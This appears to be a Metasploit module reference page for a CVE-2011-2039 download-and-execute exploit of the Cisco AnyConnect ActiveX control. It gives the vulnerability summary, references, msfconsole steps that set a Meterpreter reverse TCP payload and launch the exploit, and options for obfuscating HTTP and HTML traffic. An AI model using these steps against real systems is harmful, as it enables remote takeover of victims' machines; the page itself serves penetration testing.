Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute
This module exploits a vulnerability in the Cisco AnyConnect VPN client vpnweb.ocx ActiveX control. This control is typically used to install the VPN client. An attacker can set the 'url' property which is where the control tries to locate the files needed to install the client. The control tries to download two files from the site specified within the 'url' property. One of these files it will be stored in a temporary directory and executed.
Exploit Rank
- Excellent
Exploit Authors
- bannedit < bannedit [at] metasploit.com >
Vulnerability References
- CVE-2011-2039
- OSVDB-72714
- http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909
- http://www.cisco.com/en/US/products/products_security_advisory09186a0080b8012...
Exploit Targets
- 0 - Automatic (default)
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/browser/cisco_anyconnect_exec
msf exploit(cisco_anyconnect_exec) > show payloads
msf exploit(cisco_anyconnect_exec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(cisco_anyconnect_exec) > set LHOST [MY IP ADDRESS]
msf exploit(cisco_anyconnect_exec) > exploit
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msf > use exploit/windows/browser/cisco_anyconnect_exec
msf exploit(cisco_anyconnect_exec) > show payloads
msf exploit(cisco_anyconnect_exec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(cisco_anyconnect_exec) > set LHOST [MY IP ADDRESS]
msf exploit(cisco_anyconnect_exec) > exploit
Exploit Module Options
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The local port to listen on. (default: 8080) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| URIPATH | The URI to use. (default: /) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EXE::Custom | Use custom exe instead of automatically generating a payload exe |
| EXE::FallBack | Use the default template in case the specified one is missing |
| EXE::Inject | Set to preserve the original EXE function |
| EXE::OldMethod | Set to use the substitution EXE generation method. |
| EXE::Path | The directory in which to look for the executable template |
| EXE::Template | The executable template file name. |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| HTML::base64 | Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection) |
| HTML::javascript::escape | Enable HTML obfuscation via HTML escaping (number of iterations) |
| HTML::unicode | Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be) |
| HTTP::chunked | Enable chunking of HTTP responses via "Transfer-Encoding: chunked" |
| HTTP::compression | Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate) |
| HTTP::header_folding | Enable folding of HTTP headers |
| HTTP::junk_headers | Enable insertion of random junk HTTP headers |
| HTTP::server_name | Configures the Server header of all outgoing replies |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
